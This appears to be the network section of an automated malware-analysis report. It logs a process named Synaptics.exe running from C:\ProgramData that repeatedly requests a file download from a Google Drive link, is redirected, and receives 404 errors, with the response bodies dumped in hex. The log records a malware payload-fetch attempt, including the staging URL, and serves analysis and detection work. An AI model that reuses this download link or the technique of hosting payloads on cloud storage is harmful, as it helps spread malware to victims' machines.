2025-01-02 19:28:24 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7X-Xx3Yr_oxjtdcK8MW37TxXBjEaTJipkl2vmLqPOVXRZfVpd_I60nphext8h8GHpS Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:24 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-_psHVI8RWIGcrs3w9-_A5A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:28:24 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:28:24 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 69 73 46 56 6b 38 67 69 7a 55 4e 50 55 37 66 33 4c 4d 6a 6b 4b 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="isFVk8gizUNPU7f3LMjkKQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:28:24 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.6	49848	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:25 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Ehq656cURaR2Q6Kk6m_ep4IrA5YOYJ83exUyTXOed8P1J20DPKj0B2-7j-1WwI1Z6gqr125Z2p2LY-gNVoaae_Xq6UjegIIraZKQ2d_70YSZ7rMLSf3s_kf8DW7iqMesdOc_xBZlfGi_8mKZgFsG7HdEaRaEoaL4QzqEpXEMQ0Iauw6EXNRDBMpS
2025-01-02 19:28:25 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:25 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-sLLdOwBZu4NIbr2B8DsaeA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.6	49847	142.250.185.65	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:25 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:28:25 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7MTXaQf5wRU6dxK7DcO3i-miU95hKZ6G4VU5YzjTTfgEnPve89lutRcAQPRchAyaDx Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:25 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-Mw7v97D_qculA91zV2CBuw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:28:25 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:28:25 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 77 50 6d 2d 58 4a 79 2d 57 41 2d 38 4d 41 2d 72 33 4b 41 6e 78 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="wPm-XJy-WA-8MA-r3KAnxA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:28:25 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.6	49849	142.250.185.65	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:25 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:28:26 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6P-K2btf4iO1FKofOjS1QrivWtoUNwbRdJbXWqOmcCqZ1-lXDqqS2c0eGh6Ddrl8uR9MkgUpU Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:25 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-fjRBx3CZ2QU6OC8wER_H_g' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:28:26 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:28:26 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6f 59 75 33 35 6c 72 75 67 6a 72 6d 63 49 70 6b 6d 6c 51 48 43 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="oYu35lrugjrmcIpkmlQHCQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:28:26 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.6	49850	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:25 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Ehq656cURaR2Q6Kk6m_ep4IrA5YOYJ83exUyTXOed8P1J20DPKj0B2-7j-1WwI1Z6gqr125Z2p2LY-gNVoaae_Xq6UjegIIraZKQ2d_70YSZ7rMLSf3s_kf8DW7iqMesdOc_xBZlfGi_8mKZgFsG7HdEaRaEoaL4QzqEpXEMQ0Iauw6EXNRDBMpS
2025-01-02 19:28:26 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:25 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-6TmeQClRGqCKtVrfwa0RiQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.6	49858	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:26 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Ehq656cURaR2Q6Kk6m_ep4IrA5YOYJ83exUyTXOed8P1J20DPKj0B2-7j-1WwI1Z6gqr125Z2p2LY-gNVoaae_Xq6UjegIIraZKQ2d_70YSZ7rMLSf3s_kf8DW7iqMesdOc_xBZlfGi_8mKZgFsG7HdEaRaEoaL4QzqEpXEMQ0Iauw6EXNRDBMpS
2025-01-02 19:28:26 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:26 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-ogF9LrmI3KnEjBCS7q3GIw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.6	49859	142.250.185.65	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:26 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=OsK03BPcsrRha7_eUspuO1556zIdw62aLxZ7hQLoXfv9Iikg3CJEaaJKSS4scwl57WOfje7Gyuh63XegpHtQjSPuOOx9L3bza2FLx6KZX4eRvVrjICA66RYABaWpHulwHXVT5R0Db2ynu-7oPJmD91rlcnGPEN4WZ2J0M1gsM-wxgJIiVKi3Gaw
2025-01-02 19:28:27 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4Zs_cE1F4CE70Hh18WWr3h866gbf9TAzrxT_PKuD7D_Wd9qr4VpEwVIYCzlBrOkc4K Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:26 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-RBIkrmxqH2-yp515excEeg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:28:27 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:28:27 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 55 50 50 70 68 39 43 74 71 44 52 4b 5a 6b 6c 71 41 39 59 68 4c 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="UPPph9CtqDRKZklqA9YhLw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:28:27 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.6	49860	142.250.185.78	443	5484	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:28:26 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=Ehq656cURaR2Q6Kk6m_ep4IrA5YOYJ83exUyTXOed8P1J20DPKj0B2-7j-1WwI1Z6gqr125Z2p2LY-gNVoaae_Xq6UjegIIraZKQ2d_70YSZ7rMLSf3s_kf8DW7iqMesdOc_xBZlfGi_8mKZgFsG7HdEaRaEoaL4QzqEpXEMQ0Iauw6EXNRDBMpS
2025-01-02 19:28:27 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:28:26 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-CoPwNVz6wZDXGAwrG1x45A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
